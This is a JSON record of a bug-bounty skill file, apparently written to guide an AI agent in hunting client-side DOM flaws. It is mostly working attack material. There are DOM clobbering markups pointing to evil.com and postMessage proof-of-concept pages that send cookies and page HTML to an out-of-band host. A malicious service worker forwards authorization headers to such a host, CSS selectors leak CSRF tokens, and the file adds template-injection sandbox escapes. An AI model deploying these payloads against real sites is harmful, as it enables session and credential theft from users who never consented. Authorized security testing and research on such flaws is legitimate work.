{"id":"hunt-dom","name":"hunt-dom","summary":"クライアントサイドのDOM脆弱性を探す — DOM Clobbering(HTMLインジェクションによるJSグローバルの上書き)、PostMessageハイジャック(オリジンチェックの欠如)、Service Workerの悪用(同一オリジンスクリプトからのリクエストを傍受)、CSSインジェクション/エクスフィルトレー…","body":"# HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil\n\n## Crown Jewel Targets\n\nDOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.\n\n**Highest-value chains:**\n- **DOM Clobbering → DOM-XSS / auth bypass** — HTML *markup* injection (no `<script>`) overwrites a JS global like `window.config` or shadows `document.getElementById`, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.\n- **PostMessage no origin check → session theft / DOM-XSS** — a `message` handler that trusts `event.data` without validating `event.origin` lets an attacker iframe/opener drive privileged actions or feed a sink.\n- **Service Worker abuse** — register a **same-origin** SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope `fetch` → persistent credential capture.\n- **CSS Exfil** — attribute-value selectors (`input[value^=\"a\"]`) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.\n\n### Grounding — public research this is distilled from\n- **DOM Clobbering / DOM-Invader** — Gareth Heyes & the PortSwigger Web Security Academy \"DOM clobbering\" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.\n- **DOMPurify clobbering & mXSS bypasses** — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.\n- **jQuery `htmlPrefilter` self-closing-tag XSS** — **CVE-2020-11022** and **CVE-2020-11023** (jQuery < 3.5.0). Passing attacker HTML to `.html()` / `.append()` mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.\n- **CSS exfiltration** — d0nut \"CSS Injection Attacks\" / \"Stealing Data With CSS\" research (sequential `@import` recursion to drop the per-char-position constraint).\n> Cite only what you reproduce. Do not paste these as \"proof\" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation.\n\n---\n\n## Attack Surface Signals\n\n```\n# Injection points that allow MARKUP but may strip <script>:\nuser bio / display name / comment / markdown preview / SVG upload / CMS rich-text\n\n# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):\n*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes\n\n# Service worker presence:\n/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)\n\n# CSS injection points:\n?theme=  custom-css profile field  email-template editor  style= passthrough\n```\n\n---\n\n## Phase 1 — DOM Clobbering\n\n```bash\n# Signal: app reads element IDs/names as if they were JS objects, OR feeds a\n# clobberable global into a sink (location, innerHTML, eval, script.src).\n# Inject MARKUP (no script) at a sink that lets named/id'd elements through.\n\n# Single-level clobber of window.config:\n#   <a id=\"config\" href=\"https://evil.com\">\n# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):\n#   <a id=\"config\"></a><a id=\"config\" name=\"url\">   # window.config.url resolves to an attacker-controlled element/string\n# Clobber a string-coerced URL value (anchor toString() == href):\n#   <a id=\"x\"></a><a id=\"x\" name=\"y\" href=\"https://evil.com\">   # x.y -> href\n# Nested window.a.b.c via form/inputs:\n#   <form id=\"a\"><input id=\"b\" name=\"c\" value=\"clobbered\"></form>\n# baseURI / relative-URL hijack:\n#   <base href=\"https://evil.com/\">      # bends every relative src/href\n```\n\n```javascript\n// Browser console: find globals that are clobberable AND reach a sink.\n// A var only matters if the app later concatenates it into a URL/HTML/eval.\nconst susp = ['config','settings','options','appConfig','init','data','user',\n  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];\nsusp.forEach(k => {\n  const v = window[k];\n  // HTMLCollection / element => already clobbered or clobberable namespace\n  if (v && (v instanceof Element || v instanceof HTMLCollection))\n    console.log('[CLOBBERED/NAMESPACE]', k, v);\n  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);\n});\n```\n\n```bash\n# Source review: find globals fed into sinks (this is what makes clobbering exploitable)\ncurl -s \"https://$TARGET/\" | grep -nE \\\n  \"document\\.(getElementById|baseURI)|window\\.[A-Za-z_]+\\.(url|src|href|html|cmd)|\\\nlocation\\s*=\\s*[A-Za-z_]|\\.innerHTML\\s*=|eval\\(|new Function\\(|\\.src\\s*=\\s*[A-Za-z_]\"\n# DOM-Invader (Burp) → enable \"DOM clobbering\" — it auto-finds clobberable sources→sinks.\n```\n\n**jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`.\n\n---\n\n## Phase 2 — PostMessage Hijacking\n\nTwo bug classes: (a) **listener** trusts cross-origin data → drive a sink/privileged action; (b) **sender** broadcasts secrets with target origin `'*'` → any framing page reads them.\n\n```bash\n# Find handlers and flag the ones with NO origin check\ngrep -rnE \"addEventListener\\(\\s*['\\\"]message['\\\"]|onmessage\\s*=\" recon/$TARGET/ --include=\"*.js\" 2>/dev/null \\\n  | grep -vE \"\\.origin\\b\" \n# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)\n# Senders that leak: grep for postMessage(<secret>, '*')\ngrep -rnE \"postMessage\\([^,]+,\\s*['\\\"]\\*['\\\"]\\)\" recon/$TARGET/ --include=\"*.js\" 2>/dev/null\n```\n\n```html\n<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->\n<!-- Host on attacker.com; frames target and pushes a privileged message -->\n<iframe id=\"f\" src=\"https://TARGET/page-with-listener\"></iframe>\n<script>\n  document.getElementById('f').onload = () => {\n    const w = document.getElementById('f').contentWindow;\n    // Shape the payload to whatever the handler routes into a sink:\n    w.postMessage({type:'navigate', url:'javascript:fetch(\"https://OOB/x?c=\"+document.cookie)'}, '*');\n    w.postMessage('<img src=x onerror=fetch(\"https://OOB/dom?h=\"+btoa(document.body.innerHTML))>', '*');\n  };\n</script>\n```\n\n```html\n<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->\n<iframe id=\"f\" src=\"https://TARGET/sso-or-widget\" style=\"display:none\"></iframe>\n<pre id=\"out\"></pre>\n<script>\naddEventListener('message', e => {\n  // Only count it if e.origin is the TARGET and data carries a secret\n  out.textContent += `origin=${e.origin}\\ndata=${JSON.stringify(e.data)}\\n---\\n`;\n  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))\n    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof\n});\n</script>\n```\n\n> False-positive guard: a handler with a *partial* check (`origin.indexOf('target.com')>-1`, `endsWith('target.com')`, regex `target\\.com`) is still vulnerable — bypass with `target.com.evil.com` or `eviltarget.com`. Confirm by serving the PoC from such a look-alike host and showing the message still lands.\n\n---\n\n## Phase 3 — Service Worker Abuse\n\n**Hard rule (corrects a common mistake):** a SW script URL **must be same-origin** as the page calling `register()`. A cross-origin script URL (`https://evil.com/sw.js`) throws `SecurityError` — there is **no header that enables cross-origin SW *script* registration**. `Service-Worker-Allowed` only widens the **scope** a same-origin script may control, not where the script may live.\n\nSo the realistic path is: get a SW script **onto the target origin** (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with `text/javascript`, or an existing route under your control), then register it from same-origin XSS.\n\n```bash\n# Enumerate existing SW + its scope\ncurl -s \"https://$TARGET/\" | grep -iE \"serviceWorker\\.register|navigator\\.serviceWorker\"\nfor p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do\n  curl -s -o /dev/null -w \"%{http_code} $p\\n\" \"https://$TARGET/$p\"; done\ncurl -s \"https://$TARGET/sw.js\" | grep -iE \"scope|addEventListener\\('fetch'|caches\"\n# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:\n#   curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type\n```\n\n```javascript\n// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js\n// served by the target). scope must be <= the directory the script is served from\n// unless the response carries Service-Worker-Allowed.\nnavigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})\n  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration\n  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope\n\n// evil-sw.js (served from the TARGET origin):\nself.addEventListener('fetch', e => {\n  e.respondWith(fetch(e.request.clone()).then(async resp => {\n    // Exfil URL + any auth header the page attaches, to OOB\n    fetch('https://OOB/sw-intercept', {method:'POST',\n      body: JSON.stringify({url: e.request.url,\n        auth: e.request.headers.get('authorization')})});\n    return resp;\n  }));\n});\n```\n\n> Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.\n\n---\n\n## Phase 4 — CSS Injection / Exfiltration\n\n```bash\n# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email\n# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.\n# Step 1 confirm injection: inject \"color:red\" on a known element, observe render.\n# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.\n```\n\n> **Scope caveat (corrects an overstatement):** CSS exfil bypasses CSP that blocks *script execution* — it does **not** bypass a CSP whose `style-src` / `img-src` / `default-src` / `connect-src` restricts external origins, or `form-action`. If `img-src 'self'` is set, `url(https://OOB/...)` is **blocked**. Always read the live `Content-Security-Policy` header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.\n\n```css\n/* One request fires only for the matching first char. */\ninput[name=\"csrf\"][value^=\"a\"] { background: url(https://OOB.example/c?p=0&c=a); }\ninput[name=\"csrf\"][value^=\"b\"] { background: url(https://OOB.example/c?p=0&c=b); }\n/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */\nmeta[name=\"csrf-token\"][content^=\"a\"] { background: url(https://OOB.example/c?m=a); }\n```\n\n```python\n# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)\nimport string\nchars = string.ascii_letters + string.digits + '-_'\nattr, oob, pos = 'name=\"csrf\"', 'https://OOB.example/c', 0\nprint(\"\\n\".join(\n  f'input[{attr}][value^=\"{c}\"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))\n# Real exfil needs recursion: serve a stylesheet whose @import pulls the next\n# position's rules only after the current prefix matched (d0nut technique) —\n# this removes the \"static input, one char\" limitation.\n```\n\n> Validation: the proof is **OOB hits**, not a rendered color. Stand up a Collaborator / request-bin and show one hit per correct character forming the real token, then demonstrate using that token in a state-changing CSRF request. No OOB callback = no finding (a 0-byte image or CSP-blocked request looks identical to success in DevTools).\n\n---\n\n## Phase 5 — dangerouslySetInnerHTML / framework sinks\n\n```bash\ngrep -rnE \"dangerouslySetInnerHTML|v-html=|\\[innerHTML\\]=|\\.html\\(\" recon/$TARGET/ --include=\"*.js\" 2>/dev/null\n# In minified Next/React bundles:\ncurl -s \"https://$TARGET/_next/static/chunks/pages/index.js\" | grep -oP 'dangerouslySetInnerHTML.{0,120}'\n# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).\n# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.\n```\n\n---\n\n## Phase 6 — Client-Side Template Injection\n\n```bash\n# Detect framework, then test the {{}} sink in a sandbox-bypass form.\ngrep -rnE \"angular|vue|handlebars|mustache|nunjucks|alpinejs|\\bv-|ng-app\" recon/$TARGET/ --include=\"*.js\" 2>/dev/null | head\n# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):\n#   {{7*7}}  -> 49 in the live DOM (not in raw HTML) => CSTI\n# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):\n#   {{constructor.constructor('alert(document.domain)')()}}\n# Vue: {{_c.constructor('alert(1)')()}}    (varies by Vue 2/3 build)\n```\n\n---\n\n## Chain Table\n\n| DOM finding | Chain to | Impact |\n|-------------|----------|--------|\n| DOM Clobbering → clobbered URL into `script.src`/`location` | DOM-XSS under markup-only injection | High / auth bypass |\n| PostMessage no/weak origin check (listener) | data → innerHTML/eval/location sink | DOM-XSS → ATO |\n| PostMessage `targetOrigin:'*'` sender | any framing page reads token/auth code | Cross-origin token theft |\n| CSS exfil (OOB-confirmed) | leak CSRF token → fire CSRF | CSRF chain (Medium+) |\n| Same-origin Service Worker via XSS | intercept all in-scope fetch + auth headers | Persistent ATO (Critical) |\n| dangerouslySetInnerHTML, no sanitizer | stored DOM-XSS | XSS → ATO |\n\n---\n\n## Tools\n\n```bash\n# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner\n# postMessage-tracker — Chrome extension logging cross-window messages\n# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs\n# Verify any tool URL before citing it in a report; do not paste unverified repo links.\n```\n\n---\n\n## Validation (false-positive discipline)\n\nMatch the repo standard: a technique that *fires in DevTools* is not a finding until impact is **OOB-confirmed** and **state-proven**.\n\n- **DOM Clobbering** — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.\n- **PostMessage** — distinguish a *missing* check from a *weak* one; bypass weak checks from a look-alike origin and capture via OOB. A noisy `message` log alone is not proof — show the privileged action or token exfil.\n- **CSS exfil** — **OOB callback per correct character is the only proof.** Read CSP first: `img-src`/`style-src`/`connect-src`/`default-src` restricting external origins kills it. A blocked `url()` is indistinguishable from success in the Network tab — confirm on the Collaborator side.\n- **Service Worker** — registration must be **same-origin script**; a `SecurityError` means you cited the wrong origin. Prove *persistence* (close tabs → reopen → fresh OOB hit, no XSS re-fire).\n- **General** — unique per-test markers (`btoa(domain)+nonce`) so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.\n\n**Severity:**\n- Same-origin Service Worker → persistent credential intercept: **Critical**\n- PostMessage data → DOM-XSS / token theft → ATO: **High–Critical**\n- DOM Clobbering → DOM-XSS reaching auth/session: **High**\n- CSS exfil of CSRF token (OOB-proven) → CSRF: **Medium** (raise if the chained CSRF is account-critical)","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-dom","license":"MIT","category":"document","lang":"en","tokens":4170,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["evil.com","oob.example"]}}